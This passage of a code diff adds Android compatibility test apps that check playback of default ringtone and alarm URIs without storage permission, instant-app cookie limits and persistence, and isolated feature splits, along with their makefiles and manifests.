-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 LOCAL_PACKAGE_NAME := CtsExternalStorageApp
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/ReadDefaultUris.java b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/ReadDefaultUris.java
new file mode 100644
index 0000000..37476f7
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/ReadDefaultUris.java
@@ -0,0 +1,72 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.externalstorageapp;
+
+import android.content.Context;
+import android.media.AudioAttributes;
+import android.media.AudioManager;
+import android.media.MediaPlayer;
+import android.net.Uri;
+import android.provider.Settings;
+import android.test.AndroidTestCase;
+
+/** Verify system default URI's can be read without READ_EXTERNAL_STORAGE permission. */
+public class ReadDefaultUris extends AndroidTestCase {
+
+    private AudioManager mAudioManager;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+    }
+
+    public void testPlayDefaultUris() throws Exception {
+        final long timeToPlayMs = 1000;
+        playUri(
+                Settings.System.DEFAULT_NOTIFICATION_URI,
+                timeToPlayMs,
+                AudioAttributes.USAGE_NOTIFICATION,
+                AudioAttributes.CONTENT_TYPE_SONIFICATION);
+        playUri(
+                Settings.System.DEFAULT_RINGTONE_URI,
+                timeToPlayMs,
+                AudioAttributes.USAGE_NOTIFICATION_RINGTONE,
+                AudioAttributes.CONTENT_TYPE_SONIFICATION);
+        playUri(
+                Settings.System.DEFAULT_ALARM_ALERT_URI,
+                timeToPlayMs,
+                AudioAttributes.USAGE_ALARM,
+                AudioAttributes.CONTENT_TYPE_SONIFICATION);
+    }
+
+    private void playUri(final Uri uri, long timeToPlayMs, int usage, int contentType)
+            throws Exception {
+        MediaPlayer mp = new MediaPlayer();
+        assertNotNull(mp);
+        mp.setDataSource(mContext, uri);
+        mp.setAudioAttributes(
+                new AudioAttributes.Builder().setUsage(usage).setContentType(contentType).build());
+        mp.prepare();
+        mp.start();
+        Thread.sleep(timeToPlayMs);
+        mp.stop();
+        mp.release();
+        Thread.sleep(timeToPlayMs);
+        assertFalse(mAudioManager.isMusicActive());
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
new file mode 100644
index 0000000..101d564
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_MODULE_TAGS := tests
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+
+LOCAL_PACKAGE_NAME := CtsInstantCookieApp
+
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_PROGUARD_ENABLED := disabled
+
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/InstantCookieApp/AndroidManifest.xml
new file mode 100644
index 0000000..31f653d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="test.instant.cookie"
+        android:versionCode="1"
+        android:versionName="1.0"
+        android:targetSandboxVersion="2">
+
+    <application/>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="test.instant.cookie" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/InstantCookieApp/src/test/instant/cookie/CookieTest.java b/hostsidetests/appsecurity/test-apps/InstantCookieApp/src/test/instant/cookie/CookieTest.java
new file mode 100644
index 0000000..774296b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/InstantCookieApp/src/test/instant/cookie/CookieTest.java
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package test.instant.cookie;
+
+import android.content.pm.PackageManager;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+@RunWith(AndroidJUnit4.class)
+public class CookieTest {
+    @Test
+    public void testCookieUpdateAndRetrieval() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        // We should be an instant app
+        assertTrue(pm.isInstantApp());
+
+        // The max cookie size is greater than zero
+        assertTrue(pm.getInstantAppCookieMaxBytes() > 0);
+
+        // Initially there is no cookie
+        byte[] cookie = pm.getInstantAppCookie();
+        assertTrue(cookie != null && cookie.length == 0);
+
+        // Setting a cookie below max size should work
+        pm.updateInstantAppCookie("1".getBytes());
+
+        // Setting a cookie above max size should not work
+        try {
+            pm.updateInstantAppCookie(
+                    new byte[pm.getInstantAppCookieMaxBytes() + 1]);
+            fail("Shouldn't be able to set a cookie larger than max size");
+        } catch (IllegalArgumentException e) {
+            /* expected */
+        }
+
+        // Ensure cookie not modified
+        assertEquals("1", new String(pm.getInstantAppCookie()));
+    }
+
+    @Test
+    public void testCookiePersistedAcrossInstantInstalls1() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        // Set a cookie to later check when reinstalled as instant app
+        pm.updateInstantAppCookie("2".getBytes());
+    }
+
+    @Test
+    public void testCookiePersistedAcrossInstantInstalls2() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        // After the upgrade the cookie should be the same
+        assertEquals("2", new String(pm.getInstantAppCookie()));
+    }
+
+    @Test
+    public void testCookiePersistedUpgradeFromInstant1() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        // Make sure we are an instant app
+        assertTrue(pm.isInstantApp());
+
+        // Set a cookie to later check when upgrade to a normal app
+        pm.updateInstantAppCookie("3".getBytes());
+    }
+
+    @Test
+    public void testCookiePersistedUpgradeFromInstant2() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        // Make sure we are not an instant app
+        assertFalse(pm.isInstantApp());
+
+        // The cookie survives the upgrade to a normal app
+        assertEquals("3", new String(pm.getInstantAppCookie()));
+    }
+
+    @Test
+    public void testCookieResetOnNonInstantReinstall1() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        // Set a cookie to later check when reinstalled as normal app
+        pm.updateInstantAppCookie("4".getBytes());
+    }
+
+    @Test
+    public void testCookieResetOnNonInstantReinstall2() throws Exception {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        // The cookie should have been wiped if non-instant app is uninstalled
+        byte[] cookie = pm.getInstantAppCookie();
+        assertTrue(cookie != null && cookie.length == 0);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
index c601a3d..31dcd58 100644
--- a/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/InstrumentationAppDiffCert/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
 
 LOCAL_PACKAGE_NAME := CtsInstrumentationAppDiffCert
 
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
new file mode 100644
index 0000000..8a7f8d9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
@@ -0,0 +1,37 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_USE_AAPT2 := true
+LOCAL_MODULE_TAGS := tests
+LOCAL_SDK_VERSION := current
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitApp
+LOCAL_PACKAGE_SPLITS := pl
+
+# Tag this module as a cts test artifact
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
+
+include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
new file mode 100644
index 0000000..2f3a374
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.isolatedsplitapp"
+    android:isolatedSplits="true">
+
+    <application android:label="IsolatedSplitApp">
+
+        <activity android:name=".BaseActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        
+        <service android:name=".BaseService" android:exported="true" />
+        
+        <receiver android:name=".BaseReceiver">
+            <intent-filter>
+                <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
+            </intent-filter>
+        </receiver>
+        
+        <uses-library android:name="android.test.runner" />
+
+    </application>
+
+    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.isolatedsplitapp" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
new file mode 100644
index 0000000..5a5ab0d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
@@ -0,0 +1,36 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_USE_AAPT2 := true
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
+
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+
+LOCAL_PACKAGE_SPLITS := pl
+
+LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
+LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
+
+LOCAL_AAPT_FLAGS += --custom-package com.android.cts.isolatedsplitapp.feature_a
+LOCAL_AAPT_FLAGS += --package-id 0x80
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
new file mode 100644
index 0000000..d3aed1d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
@@ -0,0 +1,34 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.isolatedsplitapp"
+        featureSplit="feature_a">
+
+    <application>
+        <activity android:name=".feature_a.FeatureAActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".feature_a.FeatureAReceiver">
+            <intent-filter>
+                <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/values.xml
new file mode 100644
index 0000000..2929156
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values-pl/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="feature_a_string">Feature A String Polish</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/values.xml
new file mode 100644
index 0000000..dc1289c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/res/values/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="feature_a_string">Feature A String Default</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAActivity.java
new file mode 100644
index 0000000..df06bd9
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.isolatedsplitapp.feature_a;
+
+import com.android.cts.isolatedsplitapp.BaseActivity;
+
+public class FeatureAActivity extends BaseActivity {
+
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAReceiver.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAReceiver.java
new file mode 100644
index 0000000..2db1a0a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/src/com/android/cts/isolatedsplitapp/feature_a/FeatureAReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.isolatedsplitapp.feature_a;
+
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.cts.isolatedsplitapp.BaseReceiver;
+
+public class FeatureAReceiver extends BaseReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        getResultExtras(true).putString(
+                "feature_a", context.getResources().getString(R.string.feature_a_string));
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
new file mode 100644
index 0000000..39111fc
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_USE_AAPT2 := true
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
+
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+
+LOCAL_PACKAGE_SPLITS := pl
+
+LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp CtsIsolatedSplitAppFeatureA
+LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
+
+LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_b
+LOCAL_AAPT_FLAGS += --package-id 0x81
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
new file mode 100644
index 0000000..00c2d6c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2014 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.isolatedsplitapp"
+        featureSplit="feature_b">
+
+    <uses-split android:name="feature_a" />
+
+    <application>
+        <activity android:name=".feature_b.FeatureBActivity">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".feature_b.FeatureBReceiver">
+            <intent-filter>
+                <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
+            </intent-filter>
+        </receiver>
+    </application>
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/values.xml
new file mode 100644
index 0000000..fc46307
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values-pl/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="feature_b_string">Feature B String Polish</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/values.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/values.xml
new file mode 100644
index 0000000..421ce55
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/res/values/values.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="feature_b_string">Feature B String Default</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBActivity.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBActivity.java
new file mode 100644
index 0000000..038555d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.isolatedsplitapp.feature_b;
+
+import com.android.cts.isolatedsplitapp.feature_a.FeatureAActivity;
+
+public class FeatureBActivity extends FeatureAActivity {
+
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBReceiver.java b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBReceiver.java
new file mode 100644
index 0000000..36a46f4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/src/com/android/cts/isolatedsplitapp/feature_b/FeatureBReceiver.java
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package com.android.cts.isolatedsplitapp.feature_b;
+
+import android.content.Context;
+import android.content.Intent;
+
+import com.android.cts.isolatedsplitapp.feature_a.FeatureAReceiver;
+
+public class FeatureBReceiver extends FeatureAReceiver {
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        getResultExtras(true).putString(
+                "feature_b", context.getResources().getString(R.string.feature_b_string));
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
new file mode 100644
index 0000000..15beac4
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
@@ -0,0 +1,35 @@
+#
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH:= $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_USE_AAPT2 := true
+LOCAL_MODULE_TAGS := tests
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
+
+LOCAL_SRC_FILES := $(call all-subdir-java-files)
+
+LOCAL_PACKAGE_SPLITS := pl
+
+LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
+LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
+
+LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_c
